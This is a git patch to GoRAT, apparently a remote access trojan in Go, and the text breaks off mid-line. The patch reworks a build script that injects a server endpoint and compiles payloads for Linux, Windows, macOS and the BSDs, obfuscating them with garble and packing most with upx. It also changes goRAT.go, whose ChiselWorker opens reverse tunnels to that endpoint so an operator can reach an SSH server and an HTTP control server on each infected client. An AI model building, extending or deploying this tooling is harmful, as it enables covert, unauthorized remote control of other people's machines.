From d4706e2f2b538d6ccdad3ed27d835ac5775ce142 Mon Sep 17 00:00:00 2001 From: Justin Timperio Date: Thu, 22 Jul 2021 00:57:47 -0400 Subject: [PATCH] Major Codebase Cleanup --- README.MD | 13 ++- build_payload.sh | 140 ++++++++++++++------------ go.mod | 1 - go.sum | 20 ---- goRAT.go | 8 +- {server => scripts}/chisel_1.7.6 | Bin scripts/list_hardware.sh | 5 + {server => scripts}/list_hostnames.sh | 2 +- scripts/start_server.sh | 51 ++++++++++ server/start_server.sh | 45 --------- shell/ssh_darwin.go | 2 +- shell/ssh_freebsd.go | 2 +- shell/ssh_linux.go | 2 +- shell/ssh_openbsd.go | 2 +- shell/ssh_windows.go | 2 +- 15 files changed, 150 insertions(+), 145 deletions(-) rename {server => scripts}/chisel_1.7.6 (100%) create mode 100755 scripts/list_hardware.sh rename {server => scripts}/list_hostnames.sh (87%) create mode 100755 scripts/start_server.sh delete mode 100755 server/start_server.sh diff --git a/README.MD b/README.MD index 1f83478..9002c24 100644 --- a/README.MD +++ b/README.MD @@ -47,10 +47,15 @@ GoRAT uses the standard release binaries provided by the [chisel project](https: As clients connect you will see a log like this. We will use this log to access each clients SSH Server, HTTP File Server, and HTTP Control Server. ``` -[mr.robot@localhost ~]$ ./start_server.sh -Chisel Server Listening on 0.0.0.0:1337 -Session #1 | SSH Server Mounted On: 46850 -Session #1 | Control Server Mounted On: 46851 +mr.robot@localhost:~# ./start_server.sh +Starting Chisel Server on Port 1337 +============================================= +Session #1 | Control Server Mounted On: 27818 +Session #1 | SSH Server Mounted On: 27819 +============================================= +Session #2 | Control Server Mounted On: 33132 +Session #2 | SSH Server Mounted On: 33133 + ``` # Payload Usage diff --git a/build_payload.sh b/build_payload.sh index 3f02959..b97fa37 100755 --- a/build_payload.sh +++ b/build_payload.sh @@ -3,9 +3,10 @@ source config.sh # Vars and Flags export PATH=$PATH:$(go env GOPATH)/bin +BASEDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )" VERSION=`git rev-list --count HEAD` -BUILD_DIR="BUILD" -SRC_DIR=".BUILD_SOURCE" +BUILD_DIR="$BASEDIR/BUILD" +SRC_DIR="$BASEDIR/.BUILD_SOURCE" # Source Files CORE="goRAT.go" @@ -16,81 +17,90 @@ rm -rf $BUILD_DIR rm -rf $SRC_DIR mkdir $BUILD_DIR mkdir $SRC_DIR +mkdir $BUILD_DIR/scripts +mkdir $BUILD_DIR/payloads # Stage Files and Inject Vars Before Compile cp $CORE $COMPILE_CORE -sed -i "s/@ENDPOINT_HERE@/$SERVER_DEST/g" $COMPILE_CORE +cp -r "$BASEDIR"/scripts/ "$BUILD_DIR" +sed -i "s/@ENDPOINT_HERE@/$SERVER_DEST/g" "$COMPILE_CORE" + + +###################### +## Non-Garble Tests +#################### +# GOOS=linux GOARCH=amd64 go build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_linux_64 "$COMPILE_CORE" +# GOOS=linux GOARCH=amd64 go build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_linux_mips_64 "$COMPILE_CORE" +# GOOS=darwin GOARCH=amd64 go build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_macos_64 "$COMPILE_CORE" +# GOOS=windows GOARCH=amd64 go build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_windows_64.exe "$COMPILE_CORE" +# GOOS=freebsd GOARCH=amd64 go build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_freebsd_64 "$COMPILE_CORE" +# GOOS=openbsd GOARCH=amd64 go build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_openbsd_64 "$COMPILE_CORE" +# exit + ###################### ## 64 Bit Systems #################### -GOOS=linux GOARCH=amd64 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_linux_64 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_linux_64 -GOOS=darwin GOARCH=amd64 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_macos_64 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_macos_64 -GOOS=windows GOARCH=amd64 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_windows_64.exe "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_windows_64.exe -GOOS=freebsd GOARCH=amd64 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_freebsd_64 "$COMPILE_CORE" -# RIP no UPX for freebsd -GOOS=openbsd GOARCH=amd64 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_openbsd_64 "$COMPILE_CORE" -# RIP no UPX for openbsd -GOOS=linux GOARCH=amd64 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_linux_mips_64 "$COMPILE_CORE" +GOOS=linux GOARCH=amd64 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_linux_64 "$COMPILE_CORE" +upx "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_linux_64 +GOOS=linux GOARCH=arm64 GOARM=5 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_linux_arm64_ARM5 "$COMPILE_CORE" +upx "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_linux_arm64_ARM5 +GOOS=linux GOARCH=arm64 GOARM=6 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_linux_arm64_ARM6 "$COMPILE_CORE" +upx "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_linux_arm64_ARM6 +GOOS=linux GOARCH=arm64 GOARM=7 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_linux_arm64_ARM7 "$COMPILE_CORE" +upx "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_linux_arm64_ARM7 +GOOS=linux GOARCH=amd64 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_linux_mips_64 "$COMPILE_CORE" # RIP no UPX for MIPS64 -GOOS=linux GOARCH=arm64 GOARM=5 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_linux_arm64_ARM5 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_linux_arm64_ARM5 -GOOS=linux GOARCH=arm64 GOARM=6 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_linux_arm64_ARM6 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_linux_arm64_ARM6 -GOOS=linux GOARCH=arm64 GOARM=7 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_linux_arm64_ARM7 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_linux_arm64_ARM7 - -GOOS=linux GOARCH=arm64 GOARM=5 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_openbsd_arm64_ARM5 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_openbsd_arm64_ARM5 -GOOS=linux GOARCH=arm64 GOARM=6 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_openbsd_arm64_ARM6 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_openbsd_arm64_ARM6 -GOOS=linux GOARCH=arm64 GOARM=7 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_openbsd_arm64_ARM7 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_openbsd_arm64_ARM7 - -GOOS=linux GOARCH=arm64 GOARM=5 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_freebsd_arm64_ARM5 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_freebsd_arm64_ARM5 -GOOS=linux GOARCH=arm64 GOARM=6 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_freebsd_arm64_ARM6 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_freebsd_arm64_ARM6 -GOOS=linux GOARCH=arm64 GOARM=7 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_freebsd_arm64_ARM7 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_freebsd_arm64_ARM7 +GOOS=windows GOARCH=amd64 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_windows_64.exe "$COMPILE_CORE" +upx "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_windows_64.exe + +GOOS=darwin GOARCH=amd64 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_macos_64 "$COMPILE_CORE" +upx "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_macos_64 + +# RIP no UPX for freebsd +GOOS=freebsd GOARCH=amd64 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_freebsd_64 "$COMPILE_CORE" +GOOS=freebsd GOARCH=arm64 GOARM=5 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_freebsd_arm64_ARM5 "$COMPILE_CORE" +GOOS=freebsd GOARCH=arm64 GOARM=6 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_freebsd_arm64_ARM6 "$COMPILE_CORE" +GOOS=freebsd GOARCH=arm64 GOARM=7 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_freebsd_arm64_ARM7 "$COMPILE_CORE" + +# RIP no UPX for openbsd +GOOS=openbsd GOARCH=amd64 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_openbsd_64 "$COMPILE_CORE" +GOOS=openbsd GOARCH=arm64 GOARM=5 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_openbsd_arm64_ARM5 "$COMPILE_CORE" +GOOS=openbsd GOARCH=arm64 GOARM=6 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_openbsd_arm64_ARM6 "$COMPILE_CORE" +GOOS=openbsd GOARCH=arm64 GOARM=7 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_openbsd_arm64_ARM7 "$COMPILE_CORE" ###################### ## 32 Bit Systems #################### -GOOS=linux GOARCH=386 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_linux_32 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_linux_32 -GOOS=darwin GOARCH=386 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_macos_32 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_macos_32 -GOOS=windows GOARCH=386 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_windows_32.exe "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_windows_32.exe -GOOS=freebsd GOARCH=386 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_freebsd_32 "$COMPILE_CORE" +GOOS=linux GOARCH=386 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_linux_32 "$COMPILE_CORE" +upx "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_linux_32 +GOOS=linux GOARCH=mips garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_linux_mips_32 "$COMPILE_CORE" +upx "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_linux_mips_32 +GOOS=linux GOARCH=arm GOARM=5 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_linux_arm_ARM5 "$COMPILE_CORE" +upx "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_linux_arm_ARM5 +GOOS=linux GOARCH=arm GOARM=6 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_linux_arm_ARM6 "$COMPILE_CORE" +upx "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_linux_arm_ARM6 +GOOS=linux GOARCH=arm GOARM=7 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_linux_arm_ARM7 "$COMPILE_CORE" +upx "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_linux_arm_ARM7 + +GOOS=windows GOARCH=386 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_windows_32.exe "$COMPILE_CORE" +upx "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_windows_32.exe + # RIP no UPX for freebsd -GOOS=openbsd GOARCH=386 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_openbsd_32 "$COMPILE_CORE" +GOOS=freebsd GOARCH=386 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_freebsd_32 "$COMPILE_CORE" +GOOS=freebsd GOARCH=arm GOARM=5 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_freebsd_arm_ARM5 "$COMPILE_CORE" +GOOS=freebsd GOARCH=arm GOARM=6 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_freebsd_arm_ARM6 "$COMPILE_CORE" +GOOS=freebsd GOARCH=arm GOARM=7 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_freebsd_arm_ARM7 "$COMPILE_CORE" + # RIP no UPX for openbsd -GOOS=linux GOARCH=mips garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_linux_mips_32 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_linux_mips_32 - -GOOS=linux GOARCH=arm GOARM=5 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_linux_arm_ARM5 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_linux_arm_ARM5 -GOOS=linux GOARCH=arm GOARM=6 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_linux_arm_ARM6 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_linux_arm_ARM6 -GOOS=linux GOARCH=arm GOARM=7 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_linux_arm_ARM7 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_linux_arm_ARM7 - -GOOS=linux GOARCH=arm GOARM=5 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_openbsd_arm_ARM5 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_openbsd_arm_ARM5 -GOOS=linux GOARCH=arm GOARM=6 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_openbsd_arm_ARM6 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_openbsd_arm_ARM6 -GOOS=linux GOARCH=arm GOARM=7 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_openbsd_arm_ARM7 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_openbsd_arm_ARM7 - -GOOS=linux GOARCH=arm GOARM=5 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_freebsd_arm_ARM5 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_freebsd_arm_ARM5 -GOOS=linux GOARCH=arm GOARM=6 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_freebsd_arm_ARM6 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_freebsd_arm_ARM6 -GOOS=linux GOARCH=arm GOARM=7 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_freebsd_arm_ARM7 "$COMPILE_CORE" -upx "$BUILD_DIR"/"$EXE_NAME"_v"$VERSION"_freebsd_arm_ARM7 +GOOS=openbsd GOARCH=386 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_openbsd_32 "$COMPILE_CORE" +GOOS=openbsd GOARCH=arm GOARM=5 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_openbsd_arm_ARM5 "$COMPILE_CORE" +GOOS=openbsd GOARCH=arm GOARM=6 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_openbsd_arm_ARM6 "$COMPILE_CORE" +GOOS=openbsd GOARCH=arm GOARM=7 garble -literals -tiny -seed=random build -o "$BUILD_DIR"/payloads/"$EXE_NAME"_v"$VERSION"_openbsd_arm_ARM7 "$COMPILE_CORE" + + +###################### +## Cleanup +#################### +rm -rf "$SRC_DIR" diff --git a/go.mod b/go.mod index ef92093..9386c52 100644 --- a/go.mod +++ b/go.mod @@ -19,5 +19,4 @@ require ( golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4 // indirect golang.org/x/sync v0.0.0-20210220032951-036812b2e83c // indirect golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57 // indirect - mvdan.cc/garble v0.3.0 // indirect ) diff --git a/go.sum b/go.sum index ff8abe1..73aae33 100644 --- a/go.sum +++ b/go.sum @@ -31,7 +31,6 @@ github.com/gliderlabs/ssh v0.3.2 h1:gcfd1Aj/9RQxvygu4l3sak711f/5+VOwBw9C/7+N4EI= github.com/gliderlabs/ssh v0.3.2/go.mod h1:U7qILu1NlMHj9FlMhZLlkCdDnU1DBEAqr0aevW3Awn0= github.com/go-ole/go-ole v1.2.4 h1:nNBDSCOigTSiarFpYE9J/KtEA1IOW4CNeqT9TQDqCxI= github.com/go-ole/go-ole v1.2.4/go.mod h1:XCwSNxSkXRo4vlyPy93sltvi/qJq0jqQhjqQNIwKuxM= -github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc= github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= @@ -59,32 +58,24 @@ github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHX github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= github.com/mitchellh/go-homedir v1.0.0 h1:vKb8ShqSby24Yrqr/yDYkuFz8d0WUjys40rvnGC8aR0= github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= -github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= github.com/pkg/errors v0.8.0 h1:WdK/asTD0HN+q6hsWO3/vpuAkAr+tw6aNJNDFFf0+qw= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/rogpeppe/go-internal v1.8.0/go.mod h1:WmiCO8CzOY8rg0OYDC4/i/2WRWAB6poM+XZ2dLUbcbE= github.com/spf13/cobra v0.0.3/go.mod h1:1l0Ry5zgKvJasoi3XT1TypsSe7PqH0Sj9dhYf7v3XqQ= github.com/spf13/pflag v1.0.2/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/tomasen/realip v0.0.0-20180522021738-f0c99a92ddce/go.mod h1:o8v6yHRoik09Xen7gje4m9ERNah1d1PPsVq1VEx9vE4= -github.com/yuin/goldmark v1.3.3/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= -golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20200709230013-948cd5f35899 h1:DZhuSZLsGlFL4CmhA8BcRA0mnthyA/nZ00AqCUo7vHg= golang.org/x/crypto v0.0.0-20200709230013-948cd5f35899/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/mod v0.4.2 h1:Gz96sIWK3OalVv/I/qNygP42zyoKp3xptRVCWRFEBvo= -golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4 h1:4nGaVu0QrbjT/AK2PRLuQfQuh6DJve+pELhqTdAj3x0= golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= -golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ= golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -104,18 +95,9 @@ golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9sn golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.1.1-0.20210430200834-7a6108e9b210 h1:pPyaiOWQiSDX1de9ibfdQGlkYAIA5M3RX7dfpujuUVQ= -golang.org/x/tools v0.1.1-0.20210430200834-7a6108e9b210/go.mod h1:q7cPXv+8VGj9Sx5ckHx2nzMtCSaZFrowzWpjN/cwVb8= -golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE= -golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.2 h1:ZCJp+EgiOT7lHqUV2J862kp8Qj64Jo6az82+3Td9dZw= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= @@ -123,5 +105,3 @@ gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= howett.net/plist v0.0.0-20181124034731-591f970eefbb h1:jhnBjNi9UFpfpl8YZhA9CrOqpnJdvzuiHsl/dnxl11M= howett.net/plist v0.0.0-20181124034731-591f970eefbb/go.mod h1:vMygbs4qMhSZSc4lCUl2OEE+rDiIIJAIdR4m7MiMcm0= -mvdan.cc/garble v0.3.0 h1:O4BtCE/4k4/6oYIymo/5HCssfeapJptrDUiQctjyZP4= -mvdan.cc/garble v0.3.0/go.mod h1:btMQ+Y/gOJ8zWGDnWSCXJ8zkQULiMWjvngeZypp3CZY= diff --git a/goRAT.go b/goRAT.go index 10b281f..1a983f7 100644 --- a/goRAT.go +++ b/goRAT.go @@ -52,7 +52,7 @@ func main() { // ControlServer Acts as a Simple Mechanism for Translating HTTP requests into GoLang Commands func ControlServer(BasePort int) { - controlPort := strconv.Itoa(BasePort + 1) + controlPort := strconv.Itoa(BasePort + 0) http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, "OK\n") @@ -111,12 +111,12 @@ func ControlServer(BasePort int) { // ChiselWorker Creates a Reverse HTTPS Tunnel func ChiselWorker(BasePort int) (err error) { - sshPort := strconv.Itoa(BasePort + 0) - controlPort := strconv.Itoa(BasePort + 1) + controlPort := strconv.Itoa(BasePort + 0) + sshPort := strconv.Itoa(BasePort + 1) config := chisel.Config{Headers: http.Header{}} config.Server = endpoint_url - config.Remotes = []string{"R:" + sshPort, "R:" + controlPort} + config.Remotes = 